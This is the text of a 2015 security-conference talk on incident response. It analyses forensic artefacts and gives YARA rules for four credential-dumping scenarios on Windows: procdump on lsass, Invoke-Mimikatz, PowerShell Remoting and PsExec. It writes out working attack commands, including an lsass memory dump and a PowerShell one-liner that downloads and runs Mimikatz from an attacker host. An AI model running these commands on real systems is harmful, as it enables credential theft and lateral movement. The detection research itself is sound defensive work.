Journey into hunting the attackers

Asif Matadar

25/08/15

BSIDES 2015 MANCH3ST3R

#whoami

- Incident Response Consultant @ MWR InfoSecurity working in the Investigations and Incident Response Practice:
  - Responding to and containing security incidents with a particular focus on advanced targeted attacks
  - Digital Investigations
  - Threat Intelligence
  - Guide clients through the implementation of Incident Response Procedures
- Security Consultant @ MWR InfoSecurity working in the Security Assurance Practice
- Previously worked for an ISP working as a Security Systems Engineer responding to security related incidents ranging from:
  - APT attacks, nation-state attacks, DDoS, phishing scams and web defacements to name a few
  - Worked primarily with complex *NIX systems
- Degree in BSc (Hons) Forensic Computing

Introduction

An attacker can use a number of tools and techniques to retrieve the credentials without triggering Anti-Virus programs, these include built-in Windows Operating System commands or popular attacker tools.

A number of scenarios were conducted to determine the artefacts on the File System along with Memory Analysis to identify malicious activity to aid an Investigator during an incident.

A technique that was not explored was copying mimikatz over to the victim's machine as it would've been triggered by Anti-Virus programs. An attacker can compile their own to get around that but the objective of this research was to use legitimate tools and built-in Operating System commands for malicious intent.

1. Procdump on victim's machine and run mimikatz remotely from attacker machine

Scenario

An attacker can use this legitimate program for malicious intent without the use of a remote shell. Procdump was used to create the dump file and retrieve the credentials from the attacker machine.

An attacker has the procdump executable file on the victim's machine and can specify where the file is saved on the File System along with the file name.

- procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1
- The lsass.dmp file was created in the following location:
- C:\windows\temp\lsass.dmp
- The attacker then exfiltrate the lsass.dmp file to their machine and retrieve the credentials.

File System Artefacts

Artefacts found in the $MFT Journal

The Master File Table Journal is a file on the NTFS File System and has information about a file that includes the size, date, time, and data content along with the permissions.

The following files were appended to the $Master File Table Journal:

0x04412C00|GOOD|OK||69707|3|1|69705|2|procdump.exe|:\Users\User\Desktop\Procdump**procdump.exe**|FILE|ALLOCATED|543928|archive+not_indexed|archive+not_indexed|DOS+WIN32

0x0157D800|GOOD|OK||22006|14|2|57595|2|PROCDU~1.PF|:\Windows\Prefetch**PROCDUMP.EXE-109B63BA.pf**

|FILE|ALLOCATED|18198|archive+not_indexed|archive+not_indexed|DOS

0x015B3C00|GOOD|OK||22223|6|2|57595|2|PROCDU~2.PF|:\Windows\Prefetch**PROCDUMP64.EXE-5CFF02FC.pf**

|FILE|ALLOCATED|30842|archive+not_indexed|archive+not_indexed|DOS

File System Artefacts

Artefacts found in the $USNJrnl

As the $USNJrnl Journal maintains a record of changes that are made to the volume, this includes when a file/directory was created, deleted, or modified.

The lsass.dmp file was created on the File System and the procdump executable was copied over which are evident in the $USN Journal and the Prefetch files for procdump.

Name: **PROCDUMP64.EXE-5CFF02FC.pf**

Reason = File_Create (0x100)

Name: **procdump64.exe**

Reason = File_Delete

Name: **PROCDUMP.EXE-109B63BA.pf**

Reason = Data_Truncation (0x4)

Name: **lsass.dmp**

Reason = File_Create (0x100)

File System Artefacts

Artefacts found in the $LogFile Journal

NTFS by design is a recoverable File System and has the ability to log all transactions that are altered in the volume structure. So if a file has changed the transaction will log this in the $LogFile Journal.

0x00D75310|69705||0|286976610|286976586|InitializeFileRecordSegment|Noop|0|**Procdump**|$STANDARD_INFORMATION(1)+$FILE_NAME(1)+$INDEX_ROOT(1)|;AttributeHeaderName=$I30

0x00DDB6F8|22224||0|287028959|287028935|InitializeFileRecordSegment|Noop|0|**lsass.dmp**|$STANDARD_INFORMATION(1)+$FILE_NAME(1)+$DATA(1)

File System Artefacts

Artefacts found in the Prefetch file PROCDUMP64.EXE-5CFF02FC.pf

The Prefetch file contains a number of useful information for an Investigator:

Executable name
File and directories to be loaded by the executable
DLL files used by the executable
The amount of time the executable was run
The MAC times

Extracting the Prefetch file indicated that the lsass.dmp file was loaded by the procdump executable.

File Name that was run PROCDUMP64.EXE

Date/Time prefetch file was created Fri Jul 3 14:44:02 2015
Date/Time prefetch file was modified Thu Jul 2 09:23:37 2015
Date/Time prefetch file was last accessed Fri Jul 3 14:44:02 2015

List of files and Directories whose pages are to be loaded

\DEVICE\HARDDISKVOLUME2\USERS\USER\DESKTOP**PROCDUMP64.EXE**
\DEVICE\HARDDISKVOLUME2\WINDOWS\TEMP**LSASS.DMP**

Memory Analysis

Memory acquisition of the Operating System is an important aspect for an Investigator to retrieve volatile data during an incident.

Open Files

The file object showed the following open files:

\Device\HarddiskVolume2\Windows\System32**lsass.exe**

0x000000013eb66b00 1 1 ------ \Device**NamedPipe\lsass**

\Device\HarddiskVolume2\Windows\Temp**lsass.dmp**

\Device\HarddiskVolume2\Users\User\Desktop\Procdump**procdump.exe**

Memory Analysis

Open Handles

The open handles that were running on the victim's machine were the namepipe for the lsass, the lsass process and the procdump.

0xfffffa801a366b00 548 0x37c 0x12019f
File \Device\NamedPipe\lsass

0xfffffa801a3687b0 548 0x3b0 0x1f0001 ALPC
Port lsasspirpc

0xfffffa801a2e8600 548 0x41c 0x1478
Process lsass.exe(548)

0xfffffa8018fcedd0 3016 0x50 0x100020
File \Device\HarddiskVolume2\Users\User\Desktop\Procdump

Memory Analysis

Open Handles

The open handles on the victim's machine showed that the process ID "3016" was cmd.exe which meant that procdump was initiated from the command prompt.

0xfffffa8018fcab30 476 0x2ec 0x1fffff Process **cmd.exe(3016)**

0xfffffa8018fcedd0 **3016** 0x50 0x100020 File \Device\HarddiskVolume2\Users\User\Desktop**Procdump**

Memory Analysis

Console History

Cmd #6 at 0x14d3d0: **procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1**

ProcDump v7.1 - Writes process dump files
[10:23:33] Dump 1 initiated: c:\windows\temp\lsass.dmp

YARA Rule

The use of YARA rules is important during an investigation and can aid an Investigator by using techniques such as binary patterns or strings to identify malicious files for indicators of compromise.

A YARA rule for procdump was created which is not included in the kiwi_passwords ruleset to identify procdump.

```
// Procdump SysinternalsSuite
rule procdump
{
meta:
author = "Asif Matadar, MWR InfoSecurity"
description = "procdump"
strings:
$exe_x64_1 = { 70 72 6f 63 64 75 6d 70 36 34 2e }
$exe_x64_2 = { 70 72 6f 63 64 75 6d 70 36 34 2e 65 78 65 }
$exe_x86_1 = { 70 72 6f 63 64 75 6d 70 }
$exe_x86_2 = { 70 72 6f 63 64 75 6d 70 2e 65 78 65 }
condition:
(all of ($exe_x64_*)) or (all of ($exe_x86_*)) }
```

YARA Rule

The rule was identified as shown below:

```
Rule: procdump
Owner: Process svchost.exe Pid 2548
0x01f8804b  70 72 6f 63 64 75 6d 70 36 34 2e 65 78 65 00 02   procdump64.exe..
0x01f8805b  74 00 00 00 00 00 70 01 74 00 00 00 00 48 2e 5b   t.....p.t....H.[
0x01f8806b  52 75 00 00 80 d8 02 00 00 00 00 00 00 04 02 00   Ru..............
0x01f8807b  00 7e bb 55 63 31 00 00 00 00 00 00 00 5c 5c 3f   .~.Uc1.......\\?
Rule: procdump
Owner: Process svchost.exe Pid 2548
0x01f880ab  70 72 6f 63 64 75 6d 70 36 34 2e 65 78 65 00 00   procdump64.exe..
0x01f880bb  00 00 00 00 00 00 00 00 00 00 00 00 00 42 2e 5b   .............B.[
0x01f880cb  52 75 00 00 80 c6 02 53 03 00 00 00 00 04 00 00   Ru.....S........
0x01f880db  00 00 00 00 00 40 9d 53 03 00 00 00 00 04 00 00   .....@.S........
Rule: procdump
```

YARA Rule

Using the YARA rule for Loki also identified procdump on the victim's machine:

USER-PC LOKI: LOKI - Starting Loki Scan on USER-PC
USER-PC LOKI: File Name Characteristics initialized with 263 regex patterns
USER-PC LOKI: C2 server indicators initialized with 6450 elements
USER-PC LOKI: Malware Hashes initialized with 9338 hashes

USER-PC LOKI: Yara Rule **MATCH: procdump** DESCRIPTION: procdump FILE: C:\Users\User\Desktop\Procdump\procdump.exe MD5: e6c6d5fa4f837d0fa97b76b53294dac7 SHA1: 2c9e50866a3c214577d02b1008324028655cf348 SHA256: 898e1881f9cca26baac8a1dc6286651f298b1cb8dd2c37eec852069044094863 MATCHES: Str1: **procdump** Str2: **procdump.exe**

2. PowerSploit - Invoke-Mimikatz on victim's machine

Scenario

The attacker utilises PowerSploit module Invoke-Mimikatz that reflectively injects mimikatz into memory whilst calling all the logonPasswords. This a stealthy tool used by attackers to download a script from the attacker site and dump the credentials in memory, with the objective of not writing the mimikatz binary to the Hard Drive.

PowerShell version 2 was running on the victim's machine:

```
PS C:\Users\User> $PSVersionTable
Name                           Value
----                           -----
CLRVersion                     2.0.50727.4927
BuildVersion                   6.1.7600.16385
PSVersion                      2.0
WSManStackVersion              2.0
PSCompatibleVersions           {1.0, 2.0}
SerializationVersion           1.1.0.1
PSRemotingProtocolVersion      2.1

PS C:\Users\User> $PSVersionTable.PSVersion
Major  Minor  Build  Revision
-----  -----  -----  --------
2      0      -1     -1
```

File System Artefacts

Artefacts found in the $MFT Journal

The $MFT journal included the following artefacts:

0x0224C800|GOOD|OK||35122|1|3|3347|1|**powershell.exe**|:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe*:\Windows\winsxs\amd64_microsoft-windows-powershell-exe_31bf3856ad364e35_6.1.7600.16385_none_c50af05b1be3aa2b\powershell.exe|FILE|ALLOCATED|index_view|14|UNICODE|powershell.exe

0x0394FC00|GOOD|OK||58687|2|2|57595|2|POWERS~1.PF|:\Windows\Prefetch**POWERSHELL.EXE-920BBA2A.pf**|FILE|ALLOCATED|165144|archive+not_indexed|archive+not_indexed

File System Artefacts

Artefacts found in the $USNJrnl

The $USNJrnl had traces of the Security Event Log, PowerShell Event Log and the Prefetch file for PowerShell.

Name: **Security.evtx**
Reason = Data_Overwrite (0x1)

Name: **Windows PowerShell.evtx**
Reason = Data_Overwrite (0x1)

Name: **POWERSHELL.EXE-920BBA2A.pf**
Reason = File_Create (0x100)

File System Artefacts

Artefacts found in the $LogFile Journal

By analysing the $LogFile Journal, PowerShell was initiated by the attacker and the PowerShell prefetch file was also traced.

0x011FCF70|35127|57610||287570422|287570403|UpdateNonResidentValue|Noop|736|**powershell_ise.exe**|$DATA:$J|;$UsnJrnl|powershell_ise.exe

0x01201100|58687|57595||287572512|287572501|AddIndexEntryAllocation|DeleteIndexEntryAllocation|0|**POWERSHELL.EXE-920BBA2A.pf**
|$INDEX_ALLOCATION:$I30

File System Artefacts

PowerShell Event Logs

PowerShell Event Logs showed The WSMan provider for PowerShell is started which suggests that a local or remote computer was initiated. This ties in with traces from the PowerShell Event Log in the $USNJrnl Journal that was identified earlier.

Provider "WSMan" is Started.

Details:

ProviderName=WSMan
NewProviderState=Started

Provider "FileSystem" is Started.

Details:

ProviderName=FileSystem
NewProviderState=Started

SequenceNumber=4

HostName=ConsoleHost
HostVersion=2.0
HostId=fdc4ece9-0bd0-4835-99df-95481eb3f46c

Memory Analysis

Open Files

The file object showed the following open files including PowerShell, cmd, lsass process and the namedpipe for lsass.

0x000000013d98a450 16 0 R--r-d
\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0**powershell.exe**

0x000000013db6d900 11 0 R--r-d
\Device\HarddiskVolume2\Windows\System32**cmd.exe**

\Device\HarddiskVolume2\Windows\System32**lsass.exe**

\Device**NamedPipe\lsass**

Memory Analysis

Open Handles

The following handles were found for PowerShell, the lsass process and namedpipe for lsass.

```
0xfffffa8018de8e60     4          0x18        0x1f0001 ALPC Port      PowerMonitorPort

0xfffffa8018de5450     4          0x20        0x1f0001 ALPC Port      PowerPort

0xfffffa801af5f310   848          0x228       0x12019f
File          \Device\HarddiskVolume2\Windows\System32\winevt\Logs\Windows PowerShell.evtx

0xfffffa801b14a8a0   848          0x4b8       0x12019f
File          \Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-

Windows-Kernel-Power%4Thermal-Operational.evtx
0xfffffa801b3679d0  1144          0x224            0x0 PowerRequest

0xfffffa801ac84b30   444          0xf4        0x1fffff Process        lsass.exe(564)
0xfffffa801ad03a20   564          0x370       0x12019f File           \Device\NamedPipe\lsass
0xfffffa801ad068d0   564          0x3a4       0x1f0001 ALPC Port      lsasspirpc
```

Memory Analysis

Console History

The command that was run by the attacker was identified along with the output.

C:\Users\User\Desktop>powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.2:8000/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

mimikatz(powershell) # sekurlsa::logonpasswords

```
Authentication Id : 0 ; 85434 (00000000:00014dba)
Session         : Interactive from 1
User Name       : User
Domain          : VICTIM-PC

Username : User
        * Domain   : VICTIM-PC
        * Password : ****&&&&^^^^
```

3. PowerShell Remote - Invoke-Mimikatz from attacker machine

Scenario

An attacker is using the PowerShell Remote function within Windows to issue remote commands to the victim's machine and invoke mimikatz remotely.

PowerShell version 2 was running on the victims machine.

```
PS C:\Users\User> $PSVersionTable.PSVersion

Major  Minor  Build  Revision
-----  -----  -----  --------
2      0      -1     -1
```

File System Artefacts

Artefacts found in the $MFT Journal

Analysis of the $MFT Journal illustrates that PowerShell was utilised on the File System.

0x0224C800|GOOD|OK||35122|1|3|3347|1|**powershell.exe**|:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe*:\Windows\winsxs\amd64_microsoft-windows-powershell-exe_31bf3856ad364e35_6.1.7600.16385_none_c50af05b1be3aa2b\powershell.exe|FILE|ALLOCATED|473600

0x0224DC00|GOOD|OK||35127|1|3|3347|1|**powershell_ise.exe**|:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe*:\Windows\winsxs\amd64_microsoft-windows-gpowershell-exe_31bf3856ad364e35_6.1.7600.16385_none_94861149bb66249c\powershell_ise.exe|FILE|ALLOCATED|20070

File System Artefacts

Artefacts found in the $USNJrnl

PowerShell was running from a terminal using the conhost process, the Security Event Log and PowerShell Event Log were also traced.

POWERSHELL.EXE-920BBA2A.pf:
\.D.E.V.I.C.E.\.H.A.R.D.D.I.S.K.V.O.L.U.M.E.2.\.W.I.N.D.O.W.S.\.S.Y.S.T.E.M.3.2.\.W.I.N.D.O.W.S.P.O.W.E.R.S.H.E.L.L.\.V.1...0.\.P.O.W.E.R.S.H.E.L.L...E.X.E.
CONHOST.EXE-1F3E9D7E.pf:
\.D.E.V.I.C.E.\.H.A.R.D.D.I.S.K.V.O.L.U.M.E.2.\.W.I.N.D.O.W.S.\.S.Y.S.T.E.M.3.2.\.W.I.N.D.O.W.S.P.O.W.E.R.S.H.E.L.L.\.V.1...0.\.P.O.W.E.R.S.H.E.L.L...E.X.E.
C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.c.o.n.h.o.s.t...e.x.e

Name: Security.evtx
Reason = Data_Overwrite (0x1)
Name: Windows PowerShell.evtx
Reason = Data_Overwrite,Close (0x80000001)

File System Artefacts

Artefacts found in the $LogFile Journal

UpdateNonResidentValue|Noop|736|**powershell_ise.exe**|$DATA:$J|;$UsnJrnl|powershell_ise.exe|35127|3347|2015-07-21 11:23:55.300:100|OBJECT_ID_CHANGE

UpdateNonResidentValue|Noop|1792|**POWERSHELL.EXE-920BBA2A.pf**|$DATA:$J|;$UsnJrnl|POWERSHELL.EXE-920BBA2A.pf|58687|57595|2015-07-21 11:23:55.272:80|FILE_CREATE

UpdateNonResidentValue|Noop|2368|**Windows PowerShell.evtx**|$DATA:$J|;$UsnJrnl|Windows PowerShell.evtx|57614|3359|2015-07-21 11:34:34.009:501|DATA_OVERWRITE

File System Artefacts

Security Event Log

The WSMan Provider was started to allow remote connections to the victim's machine through PowerShell. The attacker made a remote connection to the victim's machine as the Event Log illustrates.

```
New Logon:
        Security ID:          S-1-5-21-3650930117-3837053142-1337723654-1000
        Account Name:         User
        Account Domain:       VICTIM-PC
        Logon ID:             0x4325cb
        Logon GUID:           {00000000-0000-0000-0000-000000000000}
Process Information:
        Process ID:           0x0
        Process Name:         -
Network Information:
        Workstation Name:     ATTACKER-PC
        Source Network Address: -
        Source Port:          -
```

Provider "WSMan" is Started.

Memory Analysis

Open Files

The file objects showed the following open files including PowerShell, cmd, the lsass process and the namedpipe for lsass.

0x000000013e33fda0 14 0 R--r-d
\Device\HarddiskVolume2\Windows\SysWOW64\WindowsPowerShell\v1.0**powershell.exe**

0x000000013dfde3d0 16 0 R--rwd
\Device\HarddiskVolume2\Windows\SysWOW64**cmd.exe**

0x000000013eae1f20 16 0 R--r-d
\Device\HarddiskVolume2\Windows\System32**lsass.exe**

0x000000013da3b740 1 1 ------ \Device**NamedPipe\lsass**

Memory Analysis

Open Handles

The following handles were found for PowerShell, the lsass process, and namedpipe for lsass.

0xfffffa8019094b30	4	0x958	0x2a	Process	powershell.exe(1876)
0xfffffa801a2e8600	4	0x228	0x28	Process	lsass.exe(548)
0xfffffa801a366800	548	0x374	0x12019f	File	\Device\NamedPipe\lsass

Memory Analysis

Network connections

The following network connections related to PowerShell remote were found:

As PowerShell Remote runs on port 5985 for HTTP, the attacker had an established and closed connection to the victim's machine.

```
0x13f1b2bc0 TCPv4     0.0.0.0:5985                0.0.0.0:0
            LISTENING      4        System

0x13f1b2bc0 TCPv6     :::5985                     :::0
            LISTENING      4        System

0x13dccdcf0 TCPv4     192.168.1.11:5985           192.168.1.10:49547
            CLOSED         4        System

0x13e563a60 TCPv4     192.168.1.11:5985           192.168.1.10:49517
            ESTABLISHED    4        System
```

Memory Analysis

The following Power Management functions were being used by the lsass.exe, this is a mechanism used by Windows to prevent it from going into sleep mode.

The system continues to run instead of entering sleep after a period of user inactivity.

- PowerClearRequest
- PowerCreateRequest
- PowerSetRequest

Rule: r1

Owner: Process lsass.exe Pid 548

```
0x77b87d57  50 6f 77 65 72 43 6c 65 61 72 52 65 71 75 65 73   PowerClearReques
0x77b87d67  74 00 50 6f 77 65 72 43 72 65 61 74 65 52 65 71   t.PowerCreateReq
0x77b87d77  75 65 73 74 00 50 6f 77 65 72 53 65 74 52 65 71   uest.PowerSetReq
0x77b87d87  75 65 73 74 00 50 72 65 70 61 72 65 54 61 70 65   uest.PrepareTape
```

YARA Rule

A YARA rule was created for PowerShell named pipe for the lsass process.

The YARA rule identified the namedpipe for the lsass process with the mentioned functions.

```
// Named Pipe for lsass process
rule namedpipeforlsass
{
meta:
author = "Asif Matadar, MWR InfoSecurity"
description = "namedpipeforlsass"
strings:
$powernamedpipe = { 61 6d 65 64 50 69 70 65 }
$powerclearequest = { 50 6f 77 65 72 43 6c 65 61 72 52 65 71 75 65 73 74 }
$powercreaterequest = { 50 6f 77 65 72 43 72 65 61 74 65 52 65 71 75 65 73 74 }
$powersetrequest = {50 6f 77 65 72 53 65 74 52 65 71 75 65 73 74 }
condition:
all of them
}
```

```
Rule: namedpipeforlsass
Owner: Process lsass.exe Pid 548
0x77b87d57  50 6f 77 65 72 43 6c 65 61 72 52 65 71 75 65 73   PowerClearReques
0x77b87d67  74 00 50 6f 77 65 72 43 72 65 61 74 65 52 65 71   t.PowerCreateReq
0x77b87d77  75 65 73 74 00 50 6f 77 65 72 53 65 74 52 65 71   uest.PowerSetReq
0x77b87d87  75 65 73 74 00 50 72 65 70 61 72 65 54 61 70 65   uest.PrepareTape
```

4. PsExec remotely

Scenario

The attacker initiates remote PsExec connections to the victim’s machine and invokes mimikatz. A bat file was copied from the attacker's machine to the victim's so that the bat file can be run remotely through PsExec.

The test.bat file that was copied is shown below:

```
C:\Users\User> type test.bat
@echo off
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.2:8000/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
```

File System Artefacts

Artefacts found in the $MFT Journal

The $MFTP Journal showed the PsExec prefetch file was identified, the PowerShell process along with the cmd process prefetch file.

PSEXES~1.PF|:\Windows\Prefetch**PSEXESVC.EXE-7F956DAF.pf**
|FILE|ALLOCATED|21988|archive+not_indexed|archive+not_indexed|DOS

powershell.exe|:\Windows\System32\WindowsPowerShell\v1.0**powershell.exe***:\Windows\winsxs\amd64_microsoft-windows-powershell-exe_31bf3856ad364e35_6.1.7600.16385_none_c50af05b1be3aa2b\powershell.exe|FILE|ALLOCATED|473600|archive|archive|POSIX

CMDEXE~1.PF|:\Windows\Prefetch**CMD.EXE-4A81B364.pf**
|FILE|ALLOCATED|11704|archive+not_indexed|archive+not_indexed|DOS

File System Artefacts

Artefacts found in the $USNJrnl

The $USNJrnl showed PsExec and cmd processes and their prefetch files along with the test.bat file.

Name: **PsExec.exe**
Reason = File_Create (0x100)

Name: **CMD.EXE-4A81B364.pf**
Reason = File_Create (0x100)

Name: **PSEXESVC.EXE-7F956DAF.pf**
Reason = Data_Extend,Data_Truncation,Close (0x80000006)

.<.P.S.E.X.E.S.V.C...e.x.e.
C.M.D...E.X.E.-.4.A.8.1.B.3.6.4...p.f
C.M.D...E.X.E
.t.e.s.t...b.a.t.....P.....ü
<.t.e.s.t...b.a.t

File System Artefacts

Artefacts found in the $LogFile Journal

As the attacker used PowerShell to run PsExec, the artefacts in the $LogFile Journal showed PowerShell and PsExec processes.

AddindexEntryRoot|DeleteindexEntryRoot|256|**PsExec.exe**|$INDEX_ROOT
UpdateNonResidentValue|Noop|2032|**PsExec.exe**|$DATA:$J|;$UsnJrnl|PsExec.exe
0x00C884B0|58000|||286855318|286855299|UpdateResidentValue|UpdateResidentValue
|56|**CMD.EXE-4A81B364.pf**|$STANDARD_INFORMATION

p.o.w.e.r.s.h.e.l.l._.i.s.e...e.x.e
P.O.W.E.R.S.H.E.L.L...E.X.E.-.9.2.0.B.B.A.2.A...p.f
C.M.D...E.X.E.-.4.A.8.1.B.3.6.4...p.f
P.s.E.x.e.c...e.x.e
P.S.E.X.E.S.V.C...E.X.E.-.7.F.9.5.6.D.A.F...p.f
W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l...e.v.t.x

File System Artefacts

Security Event Log

The Security Event Log showed the PSEXESVC process authenticated with the VICTIM's account credentials.

A logon was attempted using explicit credentials.

```
Subject:
        Security ID:        SYSTEM
        Account Name:       VICTIM-PC$
        Account Domain:     WORKGROUP
        Logon ID:           0x3e7
        Logon GUID:         {00000000-0000-0000-0000-000000000000}

Process Information:
        Process ID:         0x410
        Process Name:       C:\Windows\PSEXESVC.exe

An account was successfully logged on.
Subject:
        Security ID:        SYSTEM
        Account Name:       VICTIM-PC$
        Account Domain:     WORKGROUP
        Logon ID:           0x3e7

Process Information:
        Process ID:         0xb78
        Process Name:       C:\Windows\PSEXESVC.exe
```

File System Artefacts

System Event Log

The System Event Logs showed the PsExec service was used to authenticate to the victim's machine and the service was running as well.

The PSEXESVC service entered the running state.

A service was installed in the system.

Service Name: **PSEXESVC**
Service File Name: %SystemRoot%\PSEXESVC.exe
Service Type: user mode service
Service Start Type: demand start
Service Account: LocalSystem

Provider "WSMan" is Started.

Memory Analysis

Open Files

The file object showed the following open files including PowerShell, cmd, lsass and PsExec along with the machine running PsExec as well.

```
\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

0x000000013ff19a20     15      0 R--r-d \Device\HarddiskVolume2\Windows\System32\cmd.exe

0x000000013e0cdc80      1      1 ------ \Device\NamedPipe\lsass
0x000000013e4f2f20      4      0 R--r-d \Device\HarddiskVolume2\Windows\System32\lsass.exe

0x000000013d969f20      3      1 ------ \Device\NamedPipe\PSEXESVC-ATTACKER-PC-864-stdout
0x000000013dd93dd0      2      1 ------ \Device\NamedPipe\PSEXESVC-ATTACKER-PC-864-stdin
0x000000013df5a2c0      3      1 ------ \Device\NamedPipe\PSEXESVC
0x000000013df9a310      3      1 ------ \Device\NamedPipe\PSEXESVC-ATTACKER-PC-864-stderr
```

Memory Analysis

Services running

PsExec was a running service on the victim's machine.

Offset: 0xcc07d0
Order: 413
Process ID: 1472
Service Name: **PSEXESVC**
Display Name: PSEXESVC
Service Type: SERVICE_WIN32_OWN_PROCESS
Service State: SERVICE_RUNNING
Binary Path: C:\Windows\PSEXESVC.exe

YARA Rule

Both lsass and PsExec used the Function PrivCopyFileExW which is copying files over the network, the test.bat file was copied over from the attacker's machine to the victim's.

The namedpipe YARA rule picked up the following for lsass and PSEXESVC processes:

```
Owner: Process lsass.exe Pid 536
0x77777d69  50 6f 77 65 72 43 72 65 61 74 65 52 65 71 75 65   PowerCreateReque
0x77777d79  73 74 00 50 6f 77 65 72 53 65 74 52 65 71 75 65   st.PowerSetReque
0x77777d89  73 74 00 50 72 65 70 61 72 65 54 61 70 65 00 50   st.PrepareTape.P
0x77777d99  72 69 76 43 6f 70 79 46 69 6c 65 45 78 57 00 50   rivCopyFileExW.P

Owner: Process PSEXESVC.exe Pid 1472
0x765e72a7  50 6f 77 65 72 43 72 65 61 74 65 52 65 71 75 65   PowerCreateReque
0x765e72b7  73 74 00 50 6f 77 65 72 53 65 74 52 65 71 75 65   st.PowerSetReque
0x765e72c7  73 74 00 50 72 65 70 61 72 65 54 61 70 65 00 50   st.PrepareTape.P
0x765e72d7  72 69 76 43 6f 70 79 46 69 6c 65 45 78 57 00 50   rivCopyFileExW.P
```

> PowerCreateRequest
> PowerSetRequest
> PrivCopyFileExW

YARA Rule

A YARA rule was created when mimikatz is invoked through PsExec:

```
// PsExec Mimikatz
rule psexecmimikatz
{
meta:
author = "Asif Matadar, MWR InfoSecurity"
description = "psexecmimikatz"
strings:
$string = { 6d 69 6d 69 6b 61 74 7a 28 70 6f 77 65 72 73 68 65 6c 6c 29 20 23 20 65 78 69 74 0d
0a 42 79 65 21 0d 0a 0d 0a }
condition:
$string
}
```

```
Rule: psexecmimikatz
Owner: Process PSEXESVC.exe Pid 1472
0x01280865  6d 69 6d 69 6b 61 74 7a 28 70 6f 77 65 72 73 68   mimikatz(powersh
0x01280875  65 6c 6c 29 20 23 20 65 78 69 74 0d 0a 42 79 65   ell).#.exit..Bye
0x01280885  21 0d 0a 0d 0a 00 00 00 00 00 00 00 00 00 00 00   !...............
0x01280895  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
```

YARA Rule

Another YARA rule for mimikatz script being downloaded to the victim's machine that was identified.

```
// PsExec PowerShell Download
rule psexecpowershellmimikatz
{
meta:
author = "Asif Matadar, MWR InfoSecurity"
description = " psexecpowershellmimikatz"
strings:
$stringforpowershell1 = { 70 6f 77 65 72 73 68 65 6c 6c 00 49 45 58 20 28 4e 65 77 2d 4f 62 6a
65 63 74 20 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e
67 28 27 68 74 74 70 73 3a }
$stringforpowershell2 = { 70 6f 77 65 72 73 68 65 6c 6c 20 20 22 49 45 58 20 28 4e 65 77 2d 4f
62 6a 65 63 74 20 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f 61 64 53 74 72
69 6e 67 28 27 68 74 74 70 }
$stringforcmd = { 70 6f 77 65 72 73 68 65 6c 6c 20 22 49 45 58 20 28 4e 65 77 2d 4f 62 6a 65 63
74 20 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 28
27 68 74 74 70 73 }
condition:
any of them
}
```

YARA Rule

```
Rule: psexecpowershellmimikatz
Owner: Process cmd.exe Pid 1248
0x4a65b320  70 6f 77 65 72 73 68 65 6c 6c 20 22 49 45 58 20   powershell."IEX.
0x4a65b330  28 4e 65 77 2d 4f 62 6a 65 63 74 20 4e 65 74 2e   (New-Object.Net.
0x4a65b340  57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c   WebClient).Downl
0x4a65b350  6f 61 64 53 74 72 69 6e 67 28 27 68 74 74 70 73   oadString('https

Rule: psexecpowershellmimikatz
Owner: Process powershell.exe Pid 1212
0x003a86d0  70 6f 77 65 72 73 68 65 6c 6c 20 20 22 49 45 58   powershell.."IEX
0x003a86e0  20 28 4e 65 77 2d 4f 62 6a 65 63 74 20 4e 65 74   .(New-Object.Net
0x003a86f0  2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e   .WebClient).Down
0x003a8700  6c 6f 61 64 53 74 72 69 6e 67 28 27 68 74 74 70   loadString('http

Rule: psexecpowershellmimikatz
Owner: Process powershell.exe Pid 1212
0x002e5e48  70 6f 77 65 72 73 68 65 6c 6c 00 49 45 58 20 28   powershell.IEX.(
0x002e5e58  4e 65 77 2d 4f 62 6a 65 63 74 20 4e 65 74 2e 57   New-Object.Net.W
0x002e5e68  65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f   ebClient).Downlo
0x002e5e78  61 64 53 74 72 69 6e 67 28 27 68 74 74 70 73 3a   adString('https:
```

Conclusion

- These techniques are used for:
  - Post-exploitation
  - Privilege escalation
  - Lateral movement
  - Pivot to other networks
- Attackers can use Operating System capabilities and legitimate tools for nefarious activities
  - Defenders need to be vigilant about these activities
- PowerShell is a powerful scripting language for attackers BUT also for defenders
- YARA rules